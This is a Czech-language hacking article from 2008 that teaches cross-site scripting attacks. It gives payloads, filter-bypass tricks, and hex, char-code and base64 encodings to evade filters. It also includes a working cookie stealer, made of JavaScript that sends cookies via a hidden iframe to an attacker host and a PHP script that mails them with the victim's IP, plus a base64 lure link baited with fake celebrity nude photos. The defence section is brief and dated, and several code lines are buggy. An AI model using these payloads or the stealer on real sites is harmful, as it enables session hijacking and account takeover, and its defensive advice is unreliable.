XSS (Cross-Site Scripting) hacking

Vložil/a RubberDuck [1], 17 Únor, 2008 - 04:38

- Exploit [2]
- Hacking [3]
- Hacking method [4]
- Programming [5]
- Security [6]

Cílem tohoto dokumentu (whitepaperu) je seznámit uživatele s technikou zvanou Cross-Site Scripting. Poukázat na askpekty a možnosti zneužití, rozsah zneužitelnosti, vytvořit obecný seznam typů XSS útoků a možností, jak se proti nim bránit.
XSS (Cross-Site Scripting) hacking

==========

1. Cíl

Cílem tohoto dokumentu je seznámit uživatele s technikou zvanou Cross-Site Scripting. Poukázat na askpekty a možnosti zneužití, rozsah zneužitelnosti, vytvořit obecný seznam typů XSS útoků a možností, jak se proti nim bránit.

2. Úvod

XSS (někdy znám pod zkratkou CSS, od které se ale upustilo z důvodu zaměňování se zkratkou kaskádových stylů) se volně překládá jako Skriptování napříč servery. Oč se tedy jedná?? Jako většina technik atakování webových stránek i XSS je založen na injektování kódu na vstup webové aplikace tam, kde programátor nepředpokládal vložení kódu. Tím podstrčíme stránce náš vlastní kód. Ač se to zdá neuvěřitelné, stane se XSS do budoucna velkým bezpečnostním problémem. Vždyť 8 až 9 webů z 10 je náchylných na některý z typů XSS.

'*XSS is the New Buffer Overflow, JavaScript Malware is the New Shell Code.*'
- Jeremiah Grossman

3. Rozdělení

XSS dělíme z hlavního hlediska na Persistent (trvalý) a Non-Persistent (dočasný).

3.1 Persistent XSS

Persistent XSS je problematikou fór, guestbooků a podobných webapps, které uchovávají data zadaná na vstup třeba v databázi nebo v souboru. Tím je zaručeno, že dojde k opětovnému spuštění skriptu po každém načtení stránky (chapej: fora, g-booku atd.) do prohlížeče.

3.2 Non-Persistent XSS

Non-Persistent je problematikou URL adres (editují se hodnoty proměnných), vyhledávacích formů, radiobuttonů (jednoduše řečeno: vše, co zadaný řetězec neukládá, ale pouze ho zpracuje a pošle na výstup) atd.

4. Příklad řekne víc, než teorie

Jako příklad využijeme Non-Persistent XSS, které je daleko běžnější než Persistent.

Řekněme, že jsme našli web, který má URL ve tvaru:

http://www.victim.at/index.php?id=1

Na webu victim.at je PHP skript, ve kterém je proměnná (v URL se jedná o parametr) id, jež odpovídá, řekněme, číslu článku. Programátor předpokládá, že dostane na vstupu vždy a pouze číslo. Co se ale stane, pokusíme-li se na místo čísla vložit řetězec??

http://www.victim.at/index.php?id=bflmpsvz

Patrně dostaneme chybu. To nám ale moc nepomohlo..

4.1 Obecný tvar

Tak co zkusit třeba některý z programovacích jazyků, které se vykonávají v prohlížeči? Asi nejlepší bude JavaScript. Tak: Go on!

http://www.victim.at/index.php?id=<script>alert('Hacked!!')</script>

...a ENTER! Pokud vše proběhlo v pořádku, vyskočí na nás varování s nápisem 'Hacked!!'. Pokud se nic nestalo, pravděpodobně je na serveru zapnuta funkce magic_quotes nebo je vstup filtrován na přítomnost ' (apostrof nebo jednoduchá uvozovka), případně na dvojité uvozovky v URL. Nevadí.. Poradíme si jinak :)

http://www.victim.at/index.php?id=<script>alert(10)</script>

Teď by na nás mělo vyskočit varování s nápisem '10'. Takže už víme, že je web náchylný na XSS.

4.2 Bypass

Javascriptový kód <script>alert(10)</script> lze považovat za jednoduchou injekci. Ta ale nemusí kvůli svému tvaru fungovat všude (vložený JS může způsobit "nekorektně napsaný HTML kód", případně se vůbec nevykoná). Proto je vhodnější použít chytrý bypass ve tvaru '"> (apostrof, dvojité uvozovky a ostrá závorka vpravo). Tento bypass způsobí, že HTML tag bude předčasně ukončen a následně bude zpracován náš JS kód.

Na počátku by mohl HTML kód vypadat například takhle (pro názornost bude rozdělen):

```
<input type="text" name="pole" value="

">
```

Po odeslání JS kódu dostaneme tento výsledek:

```
<input type="text" name="pole" value="
'"><script>alert(10)</script>
">
```

4.3 Komentář-pomocník nejvěrnější

Je na první pohled zřejmé, že bypass ukončil HTML tag input a zpracoval skript. Ovšem, co bude asi problémem, je fakt, že za textboxem bude viditelný kód "> (dvojité uvozovky a ostrá závorka). Jak se tomuto problému vyhnout? Co třeba použít HTML komentář, který má tvar za textboxem zmizel!! NICE!! ;)

5. JavaScript - nedoceňovaný génius

No dobře. Ale nemyslím si, že je něco kouzelného na vypisování varovných messageboxu s nápisem 'Hacked!' nebo snad dokonce jen s číslicí '10'. Chtělo by to něco lepšího ;) JavaScript je skriptovací jazyk, který je zpracován a interpretován prohlížečem (browserem). JavaScript nemůže pracovat s obsahem harddisku na napadeném stroji a tak by se zdálo, že jeho proklamovaná nebezpečnost je

přehnaná. Tento pocit ale přetrvává pouze do okamžiku, kdy začneme JS kombinovat se skriptovacím jazykem zpracovávaným na straně severu (PHP, ASP...). JS obsahuje množství funkcí, které mohou napomoci k odcizení souborů cookies k dané stránce, k editaci textu na stránce a jejich podvržení (přes chyby XSS byly na severy CNN, NBC a dalších vloženy mystifikující zprávy).

6. Možnosti vložení skriptu

Skripty do stránky můžeme vkládat několika možnými způsoby, díky kterým se dokážeme vyhnout některým problémům. Prvním způsobem je prosté vložení skriptu do stránky:

<script>blok kodu;</script>

Další možností je odkázat se na externí uložení skriptu:

<script src='http://www.evilpage.at/evilscript.js'></script>
(Pokud budou dělat problémy apostrofy, můžeme je vynechat)

<script src=http://www.evilpage.at/evilscript.js></script>

Dále můžeme využít některých HTML tagů:
Např.:

```
<IMG SRC=javascript:alert(10);>

<META HTTP-EQUIV=refresh CONTENT=0;url=javascript:alert(10);>

<IFRAME SRC=javascript:alert(10);></IFRAME>

<TABLE BACKGROUND=javascript:alert(10)>
```

atd. (Při experimentování je nutné brát ohledy na typ browseru. Ne v každém browseru se nám podaří tyto příklady rozchodit).

7. Editujeme vzhled stránky

Nyní se podíváme, jak je možné editovat pomocí XSS vzhled stránek.

7.1 Editace pomocí JavaScriptu aneb: Nechci slevu zadarmo

Následující kódy budou psány jako externí skripty.

Řekněme, že na stránce náchylné na útok XSS, je element s id 'textik'.

Tato stránka je zabezpečená.

Nyní celý obsah tohoto elementu změníme.

document.getElementById('textik').innerHTML = 'Hahaha!! XSS!!';

Teď si vysvětleme, co se vlastně stane:

innerHTML je vlastností prvku document s hodnotou vnitřního HTML kódu. V našem případě má hodnotu: Tato stránka je zabezpečená. My ji však přiřadíme řetězec nový, a to: "Hahaha!! XSS!!" Teď bude HTML tag s id='textik' změněný na řetěz "Hahaha!! XSS!!"

To vypadá dobře, ne?? Ale zkusme něco dalšího.

Mějme na stránce element s id 'test'.

Polepšil jsem se.

Teď změníme tag z

na a změníme i barvu.

```
var stary = document.getElementById('test').innerHTML;
var novy = "<div style='color:#f5f5f5'>" + stary + "</div>";
document.getElementsById('test').innerHTML = novy;
```

A co se stalo? Do proměnné stary je načten vnitřní HTML kód. Do proměnné novy je přiřazen tag s definovaným stylem pro barvu a dále je vložen obsah proměnné stary, tedy původní vnitřní HTML kód. Na posledním řádku změníme vnitřní HTML kód HTML tagu s id 'test' na naši nově definovanou a nově ostylovanou proměnnou novy.

Wow! To je perfektní, ne??

Podobným způsobem se dá využít například funkce getElementsByTagName a jiné.

Nyní už pohodlně zvládneme editaci vzhledu stránky pomocí jednoduchých skriptů.

7.2 Editace pomocí JavaScriptu a CSS aneb: Dejte mi pevný bod a pohnu zemí

Nutno podotknout, že v případě změny vzhledu stránky hraje absolutní prim využití CSS. To má totiž nejvyšší prioritu před vším ostatním. Proto není problém vytvořit zcela novou stránku. Tato stránka bude načtena !!NAD!! původní stránku (z-index). Pak není problém na webu ODS prodávat Viagru ;)

Jako jednoduchý příklad bych uvedl odkaz na jednu non-persistent XSS:

http://skola.security-portal.cz/[RubberDuck]-EuroParlament_xss.html [7]

Pokud vás zajímá použitý kód, stačí se podívat na obsah JS skriptu.

8. Události jazyka JavaScript

Jazyk JavaScript obsahuje i tzv. události, což jsou ve své podstatě funkce reagující na konkrétní situaci na dokumentu nebo okně, na myši a na klávesnici. Díky událostem lze pomocí JS web dynamicky "rozpohybovat".

Jako příklady uvedu:
onLoad - nastaví se po načtení stránky
onSubmit - nastaví se při odesílání
onClick - nastaví se při kliknutí
onMouseOver - nastaví se při přejetí myší
onError - nastaví se v případě výskytu chyby

Širší seznam událostí lze najít například na webu:

http://www.jakpsatweb.cz/javascript/udalosti.html [8]

Jako jednoduchý příklad uvedu tento kód:

Klik!

Po kliknutí na odkaz, který přesměruje browser na GOOGLE, dojde, ještě před přesměrováním, k vyskočení alertu s nápisem "Budete přesměrováni na GOOGLE!". Možností, jak využít události, se najde obrovské množství a jistě není potřeba uvádět další konkrétní příklady.

9. Krademe cookies

Nejdříve si řekneme, co to cookies vůbec jsou. Cookies (sušenky) jsou malé textové informace, jež se dají uložit na klientském počítači. Každá cookie má název a hodnotu (např: id=51), dále informace o vypršení platnosti cookie (datum a čas ve formátu GMT) a rozsah platnosti. Jednoduchým způsobem, jak si vytisknout naši cookie na vulnerable webu, je využít JS funkci alert() s parametrem document.cookie, tedy:

alert(document.cookie);

Pokud takový skript spustíme, obdržíme jako výsledek messagebox s hodnotou cookie. Ale zjišťovat si obsah vlastní cookie nebude tak zábavné jako si hrát s cookies ostatních uživatelů. Cookie Stealing je jednou z možností, jak se dostat k účtům adminů.
Vytvoříme si skript s názvem **stealer.js**:

```
var susenka=document.cookie;
var cookie;
rozdel=susenka.split(";");
for(i=0;i<rozdel.length;i++){
  cookie=cookie+separe[i];
}
var obsah='<iframe style="display:none;"
           src="http://www.evilpage.at/cookie.php?cookie='+cookie+'">
           </iframe>';

document.write(obsah);
```

Skript načte cookie ze stránky a separuje všechny hodnoty v ní uložené do proměnné cookie, která se načte do proměnné **$cookie** v PHP skriptu. Tato pak může být odeslána na e-mail, uložena do souboru nebo do databáze.

PHP skript pro odesílání na e-mail by mohl vypadat třeba následovně:

```
<?php
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$ref = getenv("HTTP_REFERER");
$agent = getenv("HTTP_USER_AGENT");
$msg = "\nPage: $ref\nCookie: $cookie\nIP Address: $ip\nInfos: $agent";
$subject = "Cookie - $ref";
mail("attacker@e-mail.at", $subject, $msg);
?>
```

Do proměnné **$cookie** je přiřazena hodnota z externího JS skriptu. Do proměnné **$ip** je přiřazena IP adresa stroje, který daný JS skript spustil. V proměnné **$ref** je obsah refereru. V proměnné **$agent**

je přiřazen typ a verze browseru oběti. V proměnné **$msg** je uložena celá zpráva, která bude odesílána na mail. Funkce mail() odesílá e-mail na zadanou adresu.
Gratuluji! Právě jste se stali vlastníky Cookie Stealeru :)

10. Konvertujeme

Někdy je potřeba (hlavně v případě Non-Persistent XSS) ukrýt skutečný kód nebo alespoň snížit možnost jeho odhalení. Toho můžeme dosáhnout konvertováním. Jedním z nejběžnějších způsobů je převod znaků na HEX hodnoty.

Běžný odkaz:
http://www.victim.at/index.php?id=<script>alert('XSS!!');</script>

Konvertovaný odkaz:
```
http://www.victim.at/index.php?id=%3C%73%63%72%69%70%74%3E%61%6C%65
%72%74%28%27%58%53%53%21%21%27%29%3B%3C%2F%73%63%72%69%70%74%3E
```

Dalším učinným prostředkem pro konverzi je JS funkce string.fromCharCode(), která dešifruje dekadické hodnoty ASCII kodu. Její použití je hodně podobné konvertování na HEX, a proto uvedu jen konkrétní příklad:

Běžný kód:
<script>document.write(<script>alert('XSS!');</script>);</script>

Konvertovaný kód:
```
<script>document.write(string.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,11
4,
116,40,39,88,83,83,33,33,39,41,59,60,47,115,99,114,105,112,116,62));</script>
```

Dále lze využít Oktalovou soustavu nebo třeba HTML daného ASCII znaku.

10.1 Self-Contained XSS

Self-Contained je druhem XSS, které využívá k zakódování BASE64. V této injekci jde o to, jakým způsobem prohlížeč zpracovává informace v URL opatřené prefixem data:text/html;base64. Dojde ke zpětnému překladu řetězce na čitelný text a k jeho vykonání. Tímto způsobem se můžeme efektivně vyhnout libovolnému anti-XSS filtru a nic jiného nám už nestojí v cestě ;)

Následující řetězec zakryptujeme pomocí BASE64:

<script>alert('XSS!');</script>

A dostaneme řetězec:

data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCdYU1MhJyk7DQo8L3NjcmlwdD4=

Pokud tento řetězec použijeme jako odkaz, pak po kliknutí na tento odkaz dojde k vykonání zakódované části kódu.
```
<a href="
data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCdYU1MhJyk7DQo8L3NjcmlwdD4=
">Zajímavý odkaz</a>
```

Ovšem můžeme zajít ještě dál. Co když do BASE64 zakódujeme HTML kód, který bude obsahovat odkaz, jež bude zakódovaný v BASE64?? ;)

Použiju výše zmiňovaný kód a přidám k němu ještě HTML kód:

```
<div>Nejlepší fotky nahé Angeliny Jolie!!
<a href="data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCdYU1MhJyk7DQo8L3NjcmlwdD4=">
Zde!</a></div>
```

Pak stačí někam vložit tento odkaz:

```
data:text/html;base64,PGRpdj5OZWpsZXBzaSBmb3RreSBuYWhlIEFuZ2VsaW55IEpvbGllISENCjxhIG
hyZWY9ImRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENE5DbUZzWlhKMEtDZFlVMU1oSnlrN0RRbzh
MM05q
Y21sd2REND0iPg0KWmRlITwvYT48L2Rpdj4=
```

Odkaz je kapánek delší. Bohužel. Bez redundance nelze pořádně nic zakryptovat ;)

11. Jak se bránit??

To je dobrá otázka. Zvláště v dnešní době. Pro uživatele není nic jednoduššího, než zakázat podporu JavaScriptu v prohlížeči. Tím ovšem vyvstanou další problémy v podobě blokování některých stránek, které JavaScript využívají. Pro tvůrce webu je řešením využívání funkcí, které převedou nebezpečné znaky na entity, případně je úplně vyescapují. Například v PHP pro tuto možnost existuje funkce htmlspecialchars() pro převod na entity a addslashes() pro escapování. V MySQL je možné využít funkci mysql_real_string_escape() pro escapování nebezpečných znaků. Samosebou lze využít v případě PHP nastavení magic_quotes na **ON**.

THANKZ:
HellOfHeaven (StoneyRoot, rx, .tch, Member_id_3)
Za jazykovou korekci: warriant

Project #skola - http://skola.security-portal.cz/ [9]
Original paper - http://skola.security-portal.cz/%5BRubberDuck%5D-xss_0.3.txt [10]

URL článku: https://security-portal.cz/clanky/xss-cross-site-scripting-hacking

Odkazy:
[1] https://security-portal.cz/users/rubberduck
[2] https://security-portal.cz/category/tagy/exploit
[3] https://security-portal.cz/category/tagy/hacking
[4] https://security-portal.cz/category/tagy/hacking-method
[5] https://security-portal.cz/category/tagy/programming
[6] https://security-portal.cz/category/tagy/security
[7] http://skola.security-portal.cz/[RubberDuck]-EuroParlament_xss.html
[8] http://www.jakpsatweb.cz/javascript/udalosti.html
[9] http://skola.security-portal.cz/
[10] http://skola.security-portal.cz/%5BRubberDuck%5D-xss_0.3.txt